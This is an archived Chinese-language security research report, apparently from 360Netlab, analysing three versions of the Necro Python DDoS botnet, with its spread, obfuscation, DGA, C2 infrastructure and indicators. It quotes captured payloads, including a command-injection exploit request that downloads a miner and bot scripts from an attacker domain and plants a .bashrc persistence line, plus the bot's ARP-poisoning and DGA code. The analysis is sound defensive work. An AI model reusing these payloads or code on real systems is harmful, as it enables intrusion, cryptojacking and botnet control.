{
	"id": "a537356c-894e-4bd0-ad58-b33801e61d3f",
	"created_at": "2026-04-06T00:13:20.902718Z",
	"updated_at": "2026-04-10T03:25:15.774522Z",
	"deleted_at": null,
	"sha1_hash": "8164f8f1302aebd69ebd41d4e54d6ab0d0b6fe56",
	"title": "Necro在频繁升级，新版本开始使用PyInstaller和DGA",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1297862,
	"plain_text": "Necro在频繁升级，新版本开始使用PyInstaller和DGA\r\nBy jinye\r\nPublished: 2021-01-21 · Archived: 2026-04-05 16:49:58 UTC\r\n概述\r\nNecro是一个经典的Python编写的botnet家族，最早发现于2015年，早期针对Windows系统，常被报为\r\nPython.IRCBot，作者自己则称之为N3Cr0m0rPh(Necromorph)。自2021年1月1号起，360Netlab的BotMon系\r\n统持续检测到该家族的新变种，先后有3个版本的样本被检测到，它们均针对Linux系统，并且最新的版本\r\n使用了DGA技术来生成C2域名对抗检测。本文将对最近发现的Necro botnets做一分析。\r\n本文的关键点如下：\r\n1，Necro最新版的感染规模在万级，并且处于上升趋势。\r\n2，在传播方式上，Necro支持多种方式，并且持续集成新公开的1-day漏洞，攻击能力较强。\r\n3，最新版Necro使用了DGA技术生成C2域名，Python脚本也经过重度混淆以对抗静态分析。\r\n4，目前传播的不同版本Necro botnet背后为同一伙人，并且主要针对Linux设备。\r\n5，最新的2个版本为了确保能在没有Python2的受害机器上执行，会同时分发使用PyInstaller打包过的\r\nPython程序。\r\n在撰写本文时,我们注意到先后有2家安全厂商报道了Necro botnet及其团伙[PythonCryptoMinter]\r\n[FreakOut]，但他们描述的均是已经停止传播的第2个版本，本文将描述更多的关于Necro的内容。\r\n捕获\r\nNecro支持多种传播方式，其中2种被我们的Anglerfish蜜罐系统成功捕获到：一种是传统的telnet弱口令爆\r\n破，另一种是1-day 漏洞(CVE-2020-35665)。捕获记录如下：\r\n下面是实际捕获到的利用telnet弱口令传播第3版时的payload：\r\nroot\r\npassword\r\nenable\r\nsystem\r\nhttps://blog.netlab.360.com/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/\r\nPage 1 of 14\n\nshell\r\nsh\r\necho -e '\\x41\\x4b\\x34\\x37'\r\nwget http://aspjobjreorejborer.com/mirai.armexport ARGS=\"-o aveixucyimxwcmph.xyz:9050\";LINE=\"killall -9 .sshd||p\r\n下面是实际捕获到的利用 1-day漏洞CVE-2020-35665传播第3版时的payload：\r\nGET /include/makecvs.php?Event=`export ARGS=\"-o aveixucyimxwcmph.xyz:9050\"\r\nLINE=\"killall -9 .sshd||pkill -9 .sshd_\r\n[ ! -f /tmp/.pidfile ] \u0026\u0026 echo \u003e /tmp/.pidfile\r\nnohup .sshd $ARGS \u003e /dev/null||nohup .sshd_ $ARGS \u003e /dev/null \u0026\"\r\ngrep -q \"$LINE\" ~/.bashrc||echo \"$LINE\" \u003e\u003e ~/.bashrc\r\ncurl http://aveixucyimxwcmph.xyz/xmrig1 -O||wget http://aveixucyimxwcmph.xyz/xmrig1 -O .sshd_\r\nmv -f .sshd_ .sshd_\r\nchmod 777 .sshd_\r\ncurl http://aveixucyimxwcmph.xyz/xmrig -O xmrig||wget http://aveixucyimxwcmph.xyz/xmrig -O xmrig\r\nmv -f xmrig .sshd\r\nchmod 777 .sshd\r\nchmod +x ~/.bashrc\r\n~/.bashrc\r\ncd /tmp||php -r \"file_put_contents(\\\".benchmark\\\", file_get_contents(\\\"http://aveixucyimxwcmph.xyz/.benchmark\\\")\r\ncurl http://aveixucyimxwcmph.xyz/.benchmark -O\r\ncurl http://aveixucyimxwcmph.xyz/.benchmark.py -O\r\nphp -r \"file_put_contents(\\\".benchmark.py\\\", file_get_contents(\\\"http://aveixucyimxwcmph.xyz/.benchmark.py\\\"));\"\r\nwget http://aveixucyimxwcmph.xyz/.benchmark -O .benchmark\r\nwget http://aveixucyimxwcmph.xyz/.benchmark.py -O .benchmark.py\r\n从上面的payload可以看到exp除了下载并执行原始的Python脚本（.benchmark.py），还会尝试下载并执行\r\nPyInstaller打包后的ELF文件（.benchmark），这是作者自第2版开始引入的手法，目的是为了提高执行成\r\n功率。因为Python 2已经到达EOL(end-of-life)，有些受害者机器上缺乏这个运行环境，而使用Pyinstaller打\r\n包后的Python程序将成为独立的ELF，即使目标机器上没有Python环境也可以正常执行。\r\n值得说明的是漏洞CVE-2020-35665公开于2020年12月23日，距离我们首次捕获它的利用只有8天，可见作\r\n者对新漏洞的使用非常“积极”。\r\n另外，除了Necro样本，上面的exp还会下载挖矿程序xmrig和xmrig1，利用360netlab其它维度的数据，我\r\n们发现同样的download server还曾用于mirai和一些Windows恶意exe程序的下载，说明Necro的作者同时在\r\n运营多个家族的botnet：\r\nhttps://blog.netlab.360.com/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/\r\nPage 2 of 14\n\n感染规模\r\n根据360netlab的DNSMon数据我们对第2和第3版的2个C2域名解析情况做了统计，以此来评估感染规模。\r\n根据下面的2个统计，我们能看到这两域名的unique客户端数均为2位数，考虑到数据采集位置的区别，真\r\n实的流量大概是我们统计的500～700倍，所以它们实际的规模均应该在万级。\r\n下面是第2版C2域名的解析统计，能看到这个域名已经过了稳定期，处于下降状态。\r\n下面是第3版域名的解析统计，能看到解析量在上升，说明这个版本还处于发展阶段。\r\nhttps://blog.netlab.360.com/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/\r\nPage 3 of 14\n\n样本分析\r\n通过分析，我们发现2021年捕获的Necro样本可以分为3个版本，每个版本之间在传播方式、代码混淆和\r\nC2保存方面均有明显的区别，其中第1版 （necr0.py）到第2版（out.py）主要是代码结构上的调整，混淆\r\n度有所增加。同时第2版开始采用PyInstaller方式把Python程序打包成ELF。从第2版到第3版差别有所加\r\n大，不但代码混淆度显著增加，C2也从硬编码域名变成了使用DGA算法。此外，在传播方式上第3版也增\r\n加了一些n-day漏洞。\r\n第1版\r\n因为第1版被作者命名为necro.py，所以我们把该家族命名为Necro。在代码混淆上，第1版只是部分代码做\r\n了混淆处理：\r\n它的C2信息只是简单编码保存，经过若干次逆向解码可以容易的得到：\r\nhttps://blog.netlab.360.com/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/\r\nPage 4 of 14\n\nirc server: '45.145.185.229'\r\nchannel: '#necro'\r\nkey: 'm0rph'\r\n原始样本中可以发现可读的DDoS攻击相关的命令串：\r\n从这些命令串可以看出Necro是一个用于DDoS攻击的botnet，C2协议基于IRC，支持的攻击方式既包括常\r\n见的udpflood、synflood、slowloris、httpflood这些，也包括在botnet中不常见的amp反射攻击。\r\n第2版\r\n第2版（out.py）和第1版的混淆程度相当，但在漏洞利用上有变化，加入了Zend Framework (known as\r\nCVE-2021-3007)：\r\n值得说明的是该漏洞2021年1月4日才曝光，这再次说明Necro的作者在利用新漏洞方面非常“积极”。\r\n在C2存放方面，第2版同样使用了简单编码保存：\r\nhttps://blog.netlab.360.com/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/\r\nPage 5 of 14\n\nirc server: 'gxbrowser.net'\r\nchannel: '#update'\r\nkey: 'N3Wm3W'\r\n第3版\r\n第3版的被检测到用benchmark.py名称传播。相比前两个版本，第3版最大的变化是使用DGA来生成C2域\r\n名，具体算法参考后面的DGA代码，下面是模拟该算法产生的部分域名:\r\navEiXUcYimXwcMph.xyz\r\navEiXUcYimXwcMph.xyz\r\navEiXUcYimXwcMph.xyz\r\naoRmVwOaTOGgYqbk.xyz\r\naoRmVwOaTOGgYqbk.xyz\r\naoRmVwOaTOGgYqbk.xyz\r\nMasEdcNVYwedJwVd.xyz\r\nMasEdcNVYwedJwVd.xyz\r\nMasEdcNVYwedJwVd.xyz\r\nsuBYdZaoqwveKRlQ.xyz\r\n...\r\n通过360netlab的DNSMon系统，我们看到该DGA算法产生的第1个域名aveixucyimxwcmph.xyz已经启用，\r\n并且被用作下载服务器的域名。下面是该域名的详细信息：\r\n2021-01-11 11:49:28 2021-01-20 03:47:28 372 aveixucyimxwcmph.xyz A 193.239.147.22\r\n2021-01-11 20:11:02 2021-01-11 20:11:03 2 aveixucyimxwcmph.xyz TXT \"v=spf1 includ\r\n2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward4.regi\r\n2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward5.regi\r\n2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward2.regi\r\n2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward1.regi\r\n2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward3.regi\r\n2021年1月20号，在最新的第3版样本中作者又对DGA算法做了修改，将种子从3种修改为4096种，同时开\r\n始使用SSL加密通信数据。\r\n第3版的另一个变化是代码混淆的更严重了，不仅所有自定义对象全部被替换成随机字符，连字符串也被\r\n用base64.encode(zlib.compress(plain_string))这种方式做了编码，导致样本中不再有可读的、有意义的字符\r\n串，如下图所示：\r\nhttps://blog.netlab.360.com/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/\r\nPage 6 of 14\n\n在传播方式上，第3版增加了更多的漏洞利用，这一点可以从解码后的字符串看出来：\r\n在支持的DDoS攻击方法方面第3版没有变化，只是命令串被做了编码处理，解码后的DDoS命令串如下：\r\nhttps://blog.netlab.360.com/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/\r\nPage 7 of 14\n\n样本溯源\r\n通过第1版样本的版本信息我们可以看到Necro早在2015年就已开发，作者称之为N3Cr0m0rPh\r\n(Necromorph)。\r\n利用这些信息，我们从样本库里关联到一批针对 Windows平台的早期Necro样本，都是exe文件，这批样本\r\n刚好也可以追溯到2015年，跟第1版中的版本信息吻合。从这些线索可以推断Necro首先针对的是Windows\r\n平台，然后也许是Python程序天然的跨平台特性，抑或现网大量存在漏洞的Linux机器（IoT设备、云服务\r\n器等），启发Necro作者用去攻击Linux设备。无论如何，现在Linux malware大军中又多了新的一员：\r\nNecro。\r\n其它\r\n因为部分Necro样本以PyInstaller打包方式分发，下面简单介绍如何通过解包、反编译、解混淆等手段还原\r\n出可读的.py脚本。\r\nhttps://blog.netlab.360.com/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/\r\nPage 8 of 14\n\n解包\r\n以第3版为例，用开源工具pyinstxtractor解包从ELF样本中提取的pydata数据后可以得到原始python脚本依\r\n赖的.so动态库、python库以及字节码文件.benchmark.pyc。\r\n反编译pyc\r\n利用uncompyle6反编译 .pyc字节码可以得到最终的python脚本。通过对比来自同一downloader的python脚\r\n本 .benchmark.py ，发现其跟反编译出的.py脚本相同，所以断定 .benchmark.py 就是打包前的原始脚本。\r\n字符串解密\r\nNecro使用简单的“zip压缩+异或加密”方法隐藏字符串, 下面这段代码示范了解码过程：先解压再异或即可\r\n得到被隐藏的字符串 '8.8.8.8' ：\r\nxor_crypt(zlib.decompress(b'\\x78\\x9c\\xab\\xac\\x8d\\x72\\xf7\\xca\\x96\\x06\\x00\\x0a\\xf1\\x02\\x68'))\r\ndef xor_crypt(s):\r\n xor_key = [65, 83, 98, 105, 114, 69, 35, 64, 115, 103, 71, 103, 98, 52]\r\n return ('').join([ chr(ord(c) ^ xor_key[(i % len(xor_key))]) for i, c in enumerate(s) ])\r\n动态变形\r\nhttps://blog.netlab.360.com/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/\r\nPage 9 of 14\n\npython脚本启动后会先调用 repack() 函数对当前的文件进行变形，变形的算法是依次从obj_name_list表\r\n（表中保存了文件中自定义的对象名称）中取出一个对象名称(可能是类，变量名，函数名)，然后产生一\r\n个8位的随机字串，用这个8位的随机字串替换文件中对应的对象名称，结果就是原始文件中再也找不到\r\n可读的对象名称了。因为这种做法是不可逆的，我们只能从代码功能上推测每个函数和变量的含义，参\r\n考早期版本的代码，我们基本搞楚了代码的功能。\r\ndef __init__(self):\r\n ...\r\n self.repack() #repack bot before we install\r\n self.install() #Install\r\ndef repack(self):\r\n try:\r\n fh_myself=open(argv[0],\"r\")\r\n _pyload=fh_myself.read()\r\n fh_myself.close()\r\n obj_name_list=['localhost_irc','gen_random_8char'....]\r\n for obj_name in obj_name_list:\r\n _pyload=_pyload.replace(obj_name,self.gen_random_8char(8))\r\n new_fh_myself=open(argv[0],\"w\")\r\n new_fh_myself.write(_pyload)\r\n new_fh_myself.close()\r\n except:\r\n pass\r\nARP欺骗和流量嗅探\r\n比较有意思的Necro还支持ARP投毒和网络流量嗅探。ARP欺骗是为了把受害者机器伪装成网关，代码如\r\n下所示。\r\ndef create_pkt_arp_poison():\r\n s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.SOCK_RAW)\r\n s.bind((\"wlan0\", 0))\r\n \r\n while(1):\r\n for lmfao in getPoisonIPs():\r\n src_addr = get_src_mac()\r\n dst_addr = lmfao[0]\r\n src_ip_addr = get_default_gateway_linux()\r\n dst_ip_addr = lmfao[1]\r\n dst_mac_addr = \"\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n payload = \"\\x00\\x01\\x08\\x00\\x06\\x04\\x00\\x02\"\r\n checksum = \"\\x00\\x00\\x00\\x00\"\r\n ethertype = \"\\x08\\x06\"\r\n s.send(dst_addr + src_addr + ethertype + payload+src_addr + src_ip_addr\r\n + dst_mac_addr + dst_ip_addr + checksum)\r\nhttps://blog.netlab.360.com/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/\r\nPage 10 of 14\n\ntime.sleep(2)\r\n这段buggy代码会在一个单独的线程种执行，每隔2秒读取一遍/proc/net/arp以获取最新的ARP邻居，然后\r\n冒充网关给它们发送ARP回应，目的是使对方相信所运行的机器就是网关。作者这么做可能是为了实现\r\n中间人劫持，但目前还没看到更多的中间人通信相关代码，猜测该功能尚处于开发中。\r\n嗅探主要针对受害者机器的TCP通信流量，该功能受C2指令（ .sniffer-resume ）控制。一旦开启，所有\r\n非以下端口的TCP流量都会被记录并上报给C2的1337端口：“1337, 6667, 23, 443, 37215, 53, 22”。\r\nC2基础设施\r\n从第3版的C2域名aveixucyimxwcmph.xyz出发，我们通过图系统成功的把3个版本的C2都关联起来，如下\r\n图所示：\r\n其中，第2版的C2域名gxbrowser.net也曾解析到过第1版的C2 45.145.185.229上，而第3版的C2域名\r\naveixucyimxwcmph.xyz所解析的IP 193.239.147.224曾经也被gxbrowser.net使用过，这些说明目前的3个版本\r\nNecro botnet背后的作者应该是同一伙人。\r\n值得说明的是所有的Necro相关域名都已被360netlab的DNSmon系统拦截。\r\n结论\r\nNecro是一个相对较老的Python恶意程序，但作者通过采用代码混淆、PyInstaller打包、集成DGA和新漏洞\r\n等方式使其摇身一变成为一款危害较大的针对Linux设备的新botnet，可谓“老树新春”。考虑到作者在不到\r\n一个月的时间内接连推出了3个版本，我们相信该家族目前处于持续活跃期中，相信后面还会不断发起新\r\n的攻击。360BotMon系统将持续对该家族保持关注，并会即使公布新的威胁信息。\r\nhttps://blog.netlab.360.com/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/\r\nPage 11 of 14\n\n如果需要帮助，欢迎通过netlab@360.cn联系我们。\r\n版权声明\r\n本文为Netlab Jinye原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。\r\nIoC\r\nC2\r\n45.145.185.83\r\n193.239.147.224\r\ngxbrowser.net\r\naveixucyimxwcmph.xyz\r\nDownload URL\r\n# 第1版\r\n http://45.145.185.229/necr0.py\r\n# 第2版\r\n http://gxbrowser.net/out\r\n http://gxbrowser.net/out.py\r\n# 第3版\r\n http://aveixucyimxwcmph.xyz/.benchmark\r\n http://aveixucyimxwcmph.xyz/.benchmark.py\r\n#　其它样本\r\n http://gxbrowser.net/xmrig\r\n http://gxbrowser.net/xmrig1\r\n http://aveixucyimxwcmph.xyz/xmrig1\r\n http://45.145.185.229/bins/nginx.html/keksec.x86\r\n http://45.145.185.229/bins/nginx.html/keksec.spc\r\n http://45.145.185.229/bins/nginx.html/keksec.sh4\r\n http://45.145.185.229/bins/nginx.html/keksec.ppc\r\n http://45.145.185.229/bins/nginx.html/keksec.mpsl\r\n http://45.145.185.229/bins/nginx.html/keksec.mips\r\n http://45.145.185.229/bins/nginx.html/keksec.m68k\r\n http://45.145.185.229/bins/nginx.html/keksec.i586\r\n http://45.145.185.229/bins/nginx.html/keksec.arm\r\n http://45.145.185.229/bins/nginx.html/keksec.arm7\r\n http://45.145.185.229/bins/nginx.html/keksec.arm5\r\n http://45.145.185.229/bins/keksec.x88_64\r\n http://45.145.185.229/bins/keksec.x86\r\n http://45.145.185.229/bins/keksec.x64\r\nhttps://blog.netlab.360.com/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/\r\nPage 12 of 14\n\nhttp://45.145.185.229/bins/keksec.spc\r\n http://45.145.185.229/bins/keksec.sh4\r\n http://45.145.185.229/bins/keksec.ppc\r\n http://45.145.185.229/bins/keksec.mpsl\r\n http://45.145.185.229/bins/keksec.mips\r\n http://45.145.185.229/bins/keksec.mips64\r\n http://45.145.185.229/bins/keksec.m68k\r\n http://45.145.185.229/bins/keksec.i586\r\n http://45.145.185.229/bins/keksec.arm\r\n http://45.145.185.229/bins/keksec.arm7\r\n http://45.145.185.229/bins/keksec.arm5\r\n http://45.145.185.229/update.sh\r\nDGA 算法\r\nimport random\r\ndef gen_random_str(_range):\r\n return ('').join(random.choice('abcdefghijklmnopqoasadihcouvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for _ in range(\r\ndef gen_cc(time):\r\n random.seed(a=5236442 + time)\r\n return gen_random_str(16) + '.xyz'\r\ndef gen_DGA():\r\n i = 0\r\n while 1:\r\n for _ in range(3):\r\n try:\r\n print(gen_cc(i))\r\n except:\r\n pass\r\n if i \u003e= 2048:\r\n i = 0\r\n i += 1\r\ngen_DGA()\r\nC2解密算法\r\nself.irc_server=b64decode(b64decode(\"34653437353533303465343435353331346537613535333035613434353533303465353434\r\nself.server_port=6667 #Server port\r\nhttps://blog.netlab.360.com/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/\r\nPage 13 of 14\n\nself.channel=b64decode(b64decode(\"346534343662376134643661346433313465366434643331346635343464376134653437343533\r\nself.channel_key==b64decode(b64decode(\"3465366134393331346534343531373934653761366233323464376135313333346536613\r\n引用\r\nhttps://www.imperva.com/blog/python-cryptominer-botnet-quickly-adopts-latest-vulnerabilities/\r\nhttps://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/\r\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-28188\r\nhttps://nvd.nist.gov/vuln/detail/CVE-2021-3007\r\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-7961\r\nSource: https://blog.netlab.360.com/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/\r\nhttps://blog.netlab.360.com/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/\r\nPage 14 of 14",
	"extraction_quality": 1,
	"language": "ZH",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://blog.netlab.360.com/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/"
	],
	"report_names": [
		"not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph"
	],
	"threat_actors": [
		{
			"id": "5a270f6c-2c13-4abf-861e-7d44dcfa5ceb",
			"created_at": "2023-11-03T02:00:07.794425Z",
			"updated_at": "2026-04-10T02:00:03.383096Z",
			"deleted_at": null,
			"main_name": "Keksec",
			"aliases": [],
			"source_name": "MISPGALAXY:Keksec",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775434400,
	"ts_updated_at": 1775791515,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/8164f8f1302aebd69ebd41d4e54d6ab0d0b6fe56.pdf",
		"text": "https://archive.orkl.eu/8164f8f1302aebd69ebd41d4e54d6ab0d0b6fe56.txt",
		"img": "https://archive.orkl.eu/8164f8f1302aebd69ebd41d4e54d6ab0d0b6fe56.jpg"
	}
}